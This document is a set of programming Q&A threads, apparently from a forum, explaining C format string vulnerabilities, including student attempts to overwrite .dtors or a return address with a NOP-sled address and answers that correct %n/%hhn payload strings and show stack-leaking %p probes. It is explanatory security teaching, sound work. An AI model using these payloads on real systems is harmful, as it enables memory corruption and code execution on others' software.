Format String Vulnerability troubles - c

So I have this function:
void print_usage(char* arg)
{
char buffer[640];
sprintf(buffer, "Usage: %s [options]\n"
"Randomly generates a password, optionally writes it to /etc/shadow\n"
"\n"
"Options:\n"
"-s, --salt <salt> Specify custom salt, default is random\n"
"-e, --seed [file] Specify custom seed from file, default is from stdin\n"
"-t, --type <type> Specify different encryption method\n"
"-v, --version Show version\n"
"-h, --help Show this usage message\n"
"\n"
"Encryption types:\n"
" 0 - DES (default)\n"
" 1 - MD5\n"
" 2 - Blowfish\n"
" 3 - SHA-256\n"
" 4 - SHA-512\n", arg);
printf(buffer);
}
I wish to utilize a format string vulnerability attack (my assignment). Here is my attempt:
I have an exploit program which fills a buffer with noops and shell code (I have used this program to buffer overflow the same function, so I know its good). Now, I did an object dump of the file to find the .dtors_list address and I got 0x0804a20c, adding 4 bytes to get the end I get 0x804a210.
Next I used gdb to find at what address my noops begin while running my program. Using this I got 0xffbfdbb8.
So up to this point I feel like I'm correct, now I know I want to use format string to copy the noop address into my .dtors_end address. Here is the string I came up with (this is the string I'm providing as user input to the function):
"\x10\xa2\x04\x08\x11\xa2\x04\x08\x12\xa2\x04\x08\x13\xa2\x04\x08%%.168u%%1$n%%.51u%%2$n%%.228u%%3$n%%.64u%%4$n"
This doesn't work for me. The program runs normally and the %s is replaced with the string I input (minus the little endian memory address at the front, and the two percent signs are now one percent sign for some reason).
Anyways, I'm kind of stumped here, any help would be appreciated.

Disclaimer: I'm no expert.
You're passing "\x10\xa2\x04\x08\x11\xa2\x04\x08\x12\xa2\x04\x08\x13\xa2\x04\x08%%.168u%%1$n%%.51u%%2$n%%.228u%%3$n%%.64u%%4$n" as the value of arg? That means that buffer will contain
"Usage:\x20\x10\xa2\x04\x08\x11\xa2\x04\x08\x12\xa2\x04\x08\x13\xa2\x04\x08%.168u%1$n%.51u%2$n%.228u%3$n%.64u%4$n [options]\x0aRandomly..."
Now let's further assume that you're on an x86-32 target (if you're on x86-64, this won't work), and that you're compiling with an optimization level that doesn't put anything in print_usage's stack frame except for the 640-byte buffer array.
Then printf(buffer) will do the following things, in order:
Push the 4-byte address &buffer.
Push a 4-byte return address.
Invoke printf...
Print out "Usage:\x20\x10\xa2\x04\x08\x11\xa2\x04\x08\x12\xa2\x04\x08\x13\xa2\x04\x08" (a sequence of 23 bytes).
%.168u: Interpret the next argument to printf as an unsigned int and print it in a field of width 168. Since printf has no next argument, this is actually going to print the next thing on the stack; that is, the first four bytes of buffer; that is, "Usag" (0x67617355).
%1$n: Interpret the second argument to printf as a pointer to int and store 23+168 at that location. This stores 0x000000bf in location 0x67617355. So this is your main problem: You should have used %2$n instead of %1$n and added one junk byte to the front of your arg. (Incidentally, notice that GNU says "If any of the formats has a specification for the parameter position all of them in the format string shall have one. Otherwise the behavior is undefined." So you should go through and add 1$s to all your %us just to be on the safe side.)
%.51u: Print another 51 bytes of garbage.
%2$n: Interpret the third argument to printf as a pointer to int and store 0x000000f2 in that garbage location. As above, this should have been %3$n.
... etc. etc. ...
So, your major bug here is that you forgot to account for the "Usage: " prefix.
I assume you were trying to store the four bytes 0xffbfdbb8 into address 0x804a210. Let's say you'd gotten that to work. But then what would your next step be? How do you get the program to treat the four-byte quantity at 0x804a210 as a function pointer and jump through it?
The traditional way to exploit this code would be to exploit the buffer overflow in sprintf, rather than the more complicated "%n" vulnerability in printf. You just need to make your arg roughly 640 characters long and make sure that the 4 bytes of it that correspond to print_usage's return address contain the address of your NOP sled.
Even that part is tricky, though. You might conceivably be running into something related to ASLR: just because your sled exists at address 0xffbfdbb8 in one run doesn't mean it'll exist at that same address in the next run.
Does this help?

Related

Exploits in use of Externally-Controlled Format String

first, please look thought this website (https://cwe.mitre.org/data/definitions/134.html). They are some code is having vulnerability. I not really understand where is the vulnerability code, them talking about.
It has 3 code snippets with vulnerability such as PrintWrapper, Snprintf and %1$d, present on this website.
#CassieJade you need to look at the documentation of these functions online.
printf, snpritf are pretty common functions. And by the way, this platform is not for school assignments. You are most welcome if you have tried something and want to follow from there.
http://www.cplusplus.com/reference/cstdio/printf/
http://www.cplusplus.com/reference/cstdio/snprintf/
The following explains beautifully about your concern of $.
(GCC) Dollar sign in printf format string
Notation %2$d means the same as %d (output signed integer), except it formats the parameter with given 1-based number (in your case it's a second parameter, b).
int a = 3, b = 2;
printf("%2$d %1$d", a, b);
Here you would expect 3 2 to be printed, but it will print 2 3, because the parameter a becomes param#1, and b becomes param#2, and %2$d is printed first so 2 is printed first followed by %1$d which is 3
You may want to look at man page of printf, its a bit complex for newbies but its the final source of truth.
The following is your print wrapper.
char buf[5012];
memcpy(buf, argv[1], 5012);
printWrapper(argv[1]);
return (0);
Your website says: When an attacker can modify an
externally-controlled format string, this can lead to buffer
overflows, denial of service, or data representation problems.
Now, if this argv1 can be provided by someone who is not trusted, he can provide any junk argument which will go to printf. The goal of your task is to not to feed on print() with any string that is externally controlled.
e.g. argv1 can be very huge string (max allowable).
Or for example I am the one invoking your program and I passed argv1 as "%d Hello World", your printWrapper will end up printing some junk like "-446798072 Hello World", because no integer is passed as argument in printf(argv1).
Also memcpy is reading fixed number of bytes from origin argv1 which can have shorter length string, in this case it will be an invalid read (read past bound).
snprintf(buf,128,argv[1]);
exploit here is very clear, the argv1 can be changed with containment of several specifiers like %n which can write n number of bytes to your buf rather than intended write. By using %X in argc1 hacker can gain address of a variable on stack which can be exploited further. All this is vulnerable because an external untrusted source is creating the format specifier string that is used by your printf or snprintf, sprintf functions.
For example suppose hacker gave "%200d" in the argv1. sprintf(buf, 128, argv[1]);
will land up printing 200 bytes and then a junk integer, which might not be intended at all, since its snprintf which is a bounded function it will allow only 128 bytes to be written which will be empty.
I hope it is clear now.

C sprintf exploit (formatting attack)

I want to write the integer 1 to the address 0x08049940 using the format string exploit (specifally the sprintf)
this is how the function looks like
void greet(char *s) {
char buf[666];
sprintf(buf, "Hello %s!\n", s);
printf(buf);
}
I tried multiple tutorials but I believe they don't work because my string allready starts with "Hello ". So I tried to start writing lower using the input
%.1%n\x39\x99\x04\x08
which is 7 values lower, as well as other addresses in the neighbourhood of the original one. Yet my gdb debugger keeps telling me that the adress on 0x08049940 is still the default address specified in code.
You wouldn't exploit the sprintf to have a format string attack, but the later printf call.
Exploiting this is rather easy if you can observe the output. Instead of going for exploit directly, you can craft a string with enough %p or %x until you see your desired bytes. For example this program works for me:
#include <stdio.h>
void greet(char *s) {
char buf[666];
sprintf(buf, "Hello %s!\n", s);
printf(buf);
}
int main(void) {
greet("aaaaaa%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p"
"%p%p%p%p%p%p%p%0#p\x01\x02\x03\x04");
}
I compile with gcc -m32 and run, the output is
Hello aaaaaaaa0x566386f00x566386fc0x566385ac0xf7f4e5580x1
0x10x566386fc0x6548d9a40x206f6c6c0x616161610x61616161
0x702570250x702570250x702570250x702570250x70257025
0x702570250x702570250x702570250x702570250x70257025
0x702570250x702570250x4030201!
Now that we see the 0x04030201, we can change the final %0#p to %hhn to write one byte to the address, or %hn for a short, or %n for int. This number is the count of characters written so far, converted to char, short or int.
When we know where in stack the address is, we can change each %p to %c and we know that it is going to consume exactly one character, giving better control over the resulting number.
We've got some slack with as in the beginning - this can be used to change the precision of one of the conversions there to change the number of character written easily as desired (for example if the resulting number is 123 too low, it can be extended by printing one character with 124 character field width: %124c); the addition of count there can be offset by removing 3 a's from the prompt.
Again this can be verified by using %0#p:
greet("aaa%123c%c%c%c%c%c%p%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%0#p\x01\x02\x03\x04");
and we get:
Hello aaa
���X0x565e46fc�la1%%%%%%%%%%%%0x4030201!
Finally we just replace %0#p with %hhn and there be magic.
To demonstrate that it really is writing to the address 0x04030201, you can use gdb to find out the address that caused the violation:
Program received signal SIGSEGV, Segmentation fault.
0xf7e216aa in vfprintf () from /lib32/libc.so.6
(gdb) p $_siginfo._sifields._sigfault.si_addr
$1 = (void *) 0x4030201
And the rest is left as an exercise to the reader...

Why output length is coming 6?

I have written a simple program to calculate length of string in this way.
I know that there are other ways too. But I just want to know why this program is giving this output.
#include <stdio.h>
int main()
{
char str[1];
printf( "%d", printf("%s", gets(str)));
return 0;
}
OUTPUT :
(null)6
Unless you always pass empty strings from the standard input, you are invoking undefined behavior, so the output could be pretty much anything, and it could crash as well. str cannot be a well-formed C string of more than zero characters.
char str[1] allocates storage room for one single character, but that character needs to be the NUL character to satisfy C string constraints. You need to create a character array large enough to hold the string that you're writing with gets.
"(null)6" as the output could mean that gets returned NULL because it failed for some reason or that the stack was corrupted in such a way that the return value was overwritten with zeroes (per the undefined behavior explanation). 6 following "(null)" is expected, as the return value of printf is the number of characters that were printed, and "(null)" is six characters long.
There's several issues with your program.
First off, you're defining a char buffer way too short, a 1 char buffer for a string can only hold one string, the empty one. This is because you need a null at the end of the string to terminate it.
Next, you're using the gets function which is very unsafe, (as your compiler almost certainly warned you about), as it just blindly takes input and copies it into a buffer. As your buffer is 0+terminator characters long, you're going to be automatically overwriting the end of your string into other areas of memory which could and probably does contain important information, such as your rsp (your return pointer). This is the classic method of smashing the stack.
Third, you're passing the output of a printf function to another printf. printf isn't designed for formating strings and returning strings, there are other functions for that. Generally the one you will want to use is sprintf and pass it in a string.
Please read the documentation on this sort of thing, and if you're unsure about any specific thing read up on it before just trying to program it in. You seem confused on the basic usage of many important C functions.
It invokes undefined behavior. In this case you may get any thing. At least str should be of 2 bytes if you are not passing a empty string.
When you declare a variable some space is reserved to store the value.
The reserved space can be a space that was previously used by some other
code and has values. When the variable goes out of scope or is freed
the value is not erased (or it may be, anything goes.) only the programs access
to that variable is revoked.
When you read from an unitialised location you can get anything.
This is undefined behaviour and you are doing that,
Output on gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3 is 0
For above program your input is "(null)", So you are getting "(null)6". Here "6" is the output from printf (number of characters successfully printed).

Why is the location of the format string on stack so different on different linux systems?

When you call a function like printf, the formatstring and the arguments are pushed onto the stack. If you ommit the parameters but specify them in the format string with "%x" or "%s" or "%n" you cann access (read or write) the formatstring. On one system i testet that, the format string was the 4th argument. On another it was beyond the 200th.
For example, i got the following program that is vulnerable to a formatstring exploit and contains the following statement:
printf(userSuppliedString);
No I want to read a specific adress. For example. 0xbffffdd7.
I call it the following way:
./fmt_vuln $(printf "\xd7\xfd\xff\xbf")%08x.%08x.%08x.%s
In this example the format string is the fourth parameter ("%s"). So %s will take the beginning of the format string. Because this is the adress we specified the content of this adress will be printed.
Now on this machine the formatstring is the fourth paraemter. But on other linux systems its something totaly different.
Why is that so?
When you call a function like printf, the formatstring and the
arguments are pushed onto the stack. If you ommit the parameters but
specify them in the format string with "%x" or "%s" or "%n" you cann
access (read or write) the formatstring. On one system i testet that,
the format string was the 4th argument. On another it was beyond the
200th.
No, perhaps you have misunderstood.
When you call printf with one argument - the format string, a pointer to the format string is pushed onto the stack. This is a char * This pointer can point to anywhere in memory - printf just does at it is told and reads that memory location as a format string.
In the usual one argument case, you pass a string literal to printf ("hello world!"); The compiler puts the text hello world somewhere in memory, and generates a pointer to it to pass to printf. Then it does whatever the calling conventions say it should do for a function call - for example on x86 it pushes the pointer to the stack. Printf then reads its first argument from the stack and is happy!
In the usual n argument case, the same thing happens with the string literal and the pointer. For the function call, the compiler passes each of the values. Again using x86 (Because pushing is easier to describe than, say, ARM which has a complicated argument passing scheme) These values are pushed to the stack from right to left. So if you have a call to printf ("%d, %s, %d", x, name, y); y is pushed to the stack, then name, x, and finally the format string.
Now, inside printf we read our first argument (get it from the stack). It is a char * pointing to "%d, %s, %d". We can read this, and then - knowing how the compiler passes arguments we can read the three things which were pushed to the stack - Again we are happy!
The format string vulnerability works by misaligning the belief printf has and the belief which the compiler has.
We can show it by invoking the undefined behaviour caused by passing the wrong number of arguments to printf. in the call printf ("%s"); The compiler does not push the argument which would correspond to the char * printf expects to use to fulfil the %s directive. But - because printf doesn't know the compiler didn't do it it looks for the argument on the stack anyway. It pulls an undefined value off the stack and attempts to read the string it points to.
In your case you allow arbitrary format strings to be passed to printf. These certainly have a mismatch between the number of arguments expected and the number of arguments passed, and so printf reads the stack - which is filled with junk.
If you are lucky - you can manipulate this junk to point to something you control - and can use this to read information you were not expecting. If you can trick a %n argument to point to somewhere you control, you can write to that memory location with the number of characters printed.
So - with this description in mind I can't find a way to parse your question which makes sense. Perhaps you can be more clear and I can update my answer?
./fmt_vuln $(printf "\xd7\xfd\xff\xbf")%08x.%08x.%08x.%s
In this example the format string is the fourth parameter ("%s").
No, not really. The problem is you are not accessing the fourth parameter of printf, instead, you are accessing a local variable or parameter in its calling function (or further up the stack). Therefore, it depends entirely on the code of the calling function. For a demonstration what does it do on a 386:
Breakpoint 1, __printf (format=0xbffff543 "%p") at printf.c:29
29 printf.c: Adresář nebo soubor neexistuje.
in printf.c
(gdb) x/120a $ebp
Description: $esp return addr fmtstring parameters
0xbffff2d8: 0xbffff2f8 0x80483fd <main+25> 0xbffff543 0xb7ff1310
0xbffff2e8: 0x804842b <__libc_csu_init+11> 0xb7fb7ff4 0x8048420 <__libc_csu_init> 0x0
0xbffff2f8: 0xbffff378 0xb7e78e46 <__libc_start_main+230> 0x2 0xbffff3a4
0xbffff308: 0xbffff3b0 0xb7fe1860 0xb7ff7411 0xffffffff
0xbffff318: 0xb7ffeff4 0x8048254 0x1 0xbffff360
0xbffff328: 0xb7ff0996 0xb7fffac0 0xb7fe1b58 0xb7fb7ff4
0xbffff338: 0x0 0x0 0xbffff378 0xa32ae5c4
0xbffff348: 0x93d0f3d4 0x0 0x0 0x0
0xbffff358: 0x2 0x8048330 <_start> 0x0 0xb7ff65b0
0xbffff368: 0xb7e78d6b <__libc_start_main+11> 0xb7ffeff4 0x2 0x8048330 <_start>
0xbffff378: 0x0 0x8048351 <_start+33> 0x80483e4 <main> 0x2
0xbffff388: 0xbffff3a4 0x8048420 <__libc_csu_init> 0x8048410 <__libc_csu_fini> 0xb7ff1310
0xbffff398: 0xbffff39c 0xb7fff908 0x2 0xbffff539
0xbffff3a8: 0xbffff543 0x0 0xbffff546 0xbffff55a
0xbffff3b8: 0xbffff56a 0xbffff581 0xbffff58c 0xbffff5dc
0xbffff3c8: 0xbffff5f3 0xbffff654 0xbffff66f 0xbffff689
As you can see, the format string is only present further in memory, in the area initialized by the libc runtime, where argv points to. You have to study the code you're attacking better.

format string vulnerability - printf

Why does this print the value of the memory address at 0x08480110? I'm not sure why there are 5 %08x arguments - where does that take you up the stack?
address = 0x08480110
address (encoded as 32 bit le string): "\x10\x01\x48\x08"
printf ("\x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|");
This example is taken from page 11 of this paper http://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf
I think that the paper provides its printf() examples in a somewhat confusing way because the examples use string literals for format strings, and those don't generally permit the type of vulnerability being described. The format string vulnerability as described here depends on the format string being provided by user input.
So the example:
printf ("\x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|");
Might better be presented as:
/*
* in a real program, some user input source would be copied
* into the `outstring` buffer
*/
char outstring[80] = "\x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|";
printf(outstring);
Since the outstring array is an automatic, the compiler will likely put it on the stack. After copying the user input to the outstring array, it'll look like the following as 'words' on the stack (assuming little endian):
outstring[0c] // etc...
outstring[08] 0x30252e78 // from "x.%0"
outstring[04] 0x3830255f // from "_%08"
outstring[00] 0x08480110 // from the ""\x10\x01\x48\x08"
The compiler will put other items on the stack as it sees fit (other local variables, saved registers, whatever).
When the printf() call is about to be made, the stack might look like:
outstring[0c] // etc...
outstring[08] 0x30252e78 // from "x.%0"
outstring[04] 0x3830255f // from "_%08"
outstring[00] 0x08480110 // from the ""\x10\x01\x48\x08"
var1
var2
saved ECX
saved EDI
Note that I'm completely making those entries up - each compiler will use the stack in different ways (so a format string vulnerability has to be custom crafted for a particular exact scenario. In other words, you won't always use 5 dummy format specifiers like in this example - as the attacker you'd need to figure out how many dummies the particular vulnerability would need.
Now to call printf(), the argument (the address of outstring) is pushed on to the stack and printf() is called, so the argument area of the stack looks like:
outstring[0c] // etc...
outstring[08] 0x30252e78 // from "x.%0"
outstring[04] 0x3830255f // from "_%08"
outstring[00] 0x08480110 // from the ""\x10\x01\x48\x08"
var1
var2
var3
saved ECX
saved EDI
&outstring // the one real argument to `printf()`
However, printf doesn't really know anything about how many arguments have been placed on the stack for it - it goes by the format specifiers it finds in the format string (the one argument it's 'sure' to get). So printf() gets the format string argument and starts processing it. When it gets to the 1st "%08x" that will correspond to the 'saved EDI' in my example, then next "%08x" will print the
saved ECX' and so on. So the "%08x" format specifiers are just eating up data on the stack until it gets back to the string the attacker was able to input. Determining how many of those are needed is something an attacker would do by a kind of trial and error (probably by a test run that has a whole slew of "%08x" formats until he can 'see' where the format string starts).
Anyway, when printf() gets to processing the "%s" format specifier, it has consumed all the stack entries up to where the outstring buffer resides. The "%s" specifier treats its stack entry as a pointer, and the string that the user has put into that buffer has been carefully crafted to have a binary representation of 0x08480110, so printf() will print out whatever is at that address as an ASCIIZ string.
You have 6 format specifiers (5 lots of %08x and one of %s), but you do not provide values for those format specifiers. You immediately fall into the realm of undefined behaviour - anything could happen and there is no wrong answer.
However, in the normal course of events, the values passed to printf() would have been stored on the stack, so the code in printf() reads values off the stack as if the extra values had been passed. The function return address is on the stack, too. There is no guarantee that I can see that the value 0x08480110 will actually be produced. This sort of attack very much depends on the the specific program and faulty function call, and you might well get a very different value. The example code is most likely written assuming a 32-bit Intel (little-endian) CPU - rather than a 64-bit or big-endian CPU.
Adapting the code fragment, compiling it into a complete program, ignoring the compilation warnings, using a 32-bit compilation on MacOS X 10.6.7 with GCC 4.2.1 (XCode 3), the following code:
#include <stdio.h>
static void somefunc(void)
{
printf("AAAAAAAAAAAAAAAA.0x%08X.0x%08X.0x%08X.0x%08X.0x%08X.0x%08X.0x%08X.|%s|\n");
}
int main(void)
{
char buffer[160] =
"abcdefghijklmnopqrstuvwxyz012345"
"abcdefghijklmnopqrstuvwxyz012345"
"abcdefghijklmnopqrstuvwxyz012345"
"abcdefghijklmnopqrstuvwxyz012345"
"abcdefghijklmnopqrstuvwxyz01234";
somefunc();
return 0;
}
produces the following result:
AAAAAAAAAAAAAAAA.0x000000A0.0xBFFFF11C.0x00001EC4.0x00000000.0x00001E22.0xBFFFF1C8.0x00001E5A.|abcdefghijklmnopqrstuvwxyz012345abcdefghijklmnopqrstuvwxyz012345abcdefghijklmnopqrstuvwxyz012345abcdefghijklmnopqrstuvwxyz012345abcdefghijklmnopqrstuvwxyz01234|
As you can see, I eventually 'found' the string in the main program from the printf() statement. When I compiled it in 64-bit mode, I got a core dump instead. Both results are perfectly correct; the program invokes undefined behaviour, so anything the program does is valid. If you're curious, search for 'nasal demons' for more information on undefined behaviour.
And get used to experimenting with these sorts of issues.
Another variation
#include <stdio.h>
static void somefunc(void)
{
char format[] =
"AAAAAAAAAAAAAAAA.0x%08X.0x%08X.0x%08X.0x%08X.0x%08X\n"
".0x%08X.0x%08X.0x%08X.0x%08X.0x%08X.0x%08X.0x%08X\n"
".0x%08X.0x%08X.0x%08X.0x%08X.0x%08X.0x%08X.0x%08X\n";
printf(format, 1);
}
int main(void)
{
char buffer[160] =
"abcdefghijklmnopqrstuvwxyz012345"
"abcdefghijklmnopqrstuvwxyz012345"
"abcdefghijklmnopqrstuvwxyz012345"
"abcdefghijklmnopqrstuvwxyz012345"
"abcdefghijklmnopqrstuvwxyz01234";
somefunc();
return 0;
}
This produces:
AAAAAAAAAAAAAAAA.0x00000001.0x00000099.0x8FE467B4.0x41000024.0x41414141
.0x41414141.0x41414141.0x2E414141.0x30257830.0x302E5838.0x38302578.0x78302E58
.0x58383025.0x2578302E.0x2E583830.0x30257830.0x2E0A5838.0x30257830.0x302E5838
You might recognize the format string in the hex output - 0x41 is capital A, for example.
The 64-bit output from that code is both similar and different:
AAAAAAAAAAAAAAAA.0x00000001.0x00000000.0x00000000.0xFFE0082C.0x00000000
.0x41414141.0x41414141.0x2578302E.0x30257830.0x38302578.0x58383025.0x0A583830
.0x2E583830.0x302E5838.0x78302E58.0x2578302E.0x30257830.0x38302578.0x38302578
You misunderstood the paper.
The text you linked is assuming that the current position on the stack is 0x08480110 (look at the surrounding text). The printf() will dump data from wherever on the stack you happen to be.
The \x10\x01\x48\x08 at the beginning of the format string is merely to print the (assumed) address to stdout in front of the dumped data. In no way do these numbers modify the address from which the data is dumped.
You're correct about "take you up the stack", but only barely; it relies on the assumption that arguments are passed on the stack, rather than in registers. (Which, for a variadic function is probably a safe assumption, but still an assumption about implementation details.)
Each %08x asks for the 'next unsigned int argument' to be printed in hex; what actually occurs in that 'next argument' location is both architecture and compiler dependent. If you compare the values you get with /proc/self/maps for the process, you might be able to narrow down what some of the numbers mean.

Resources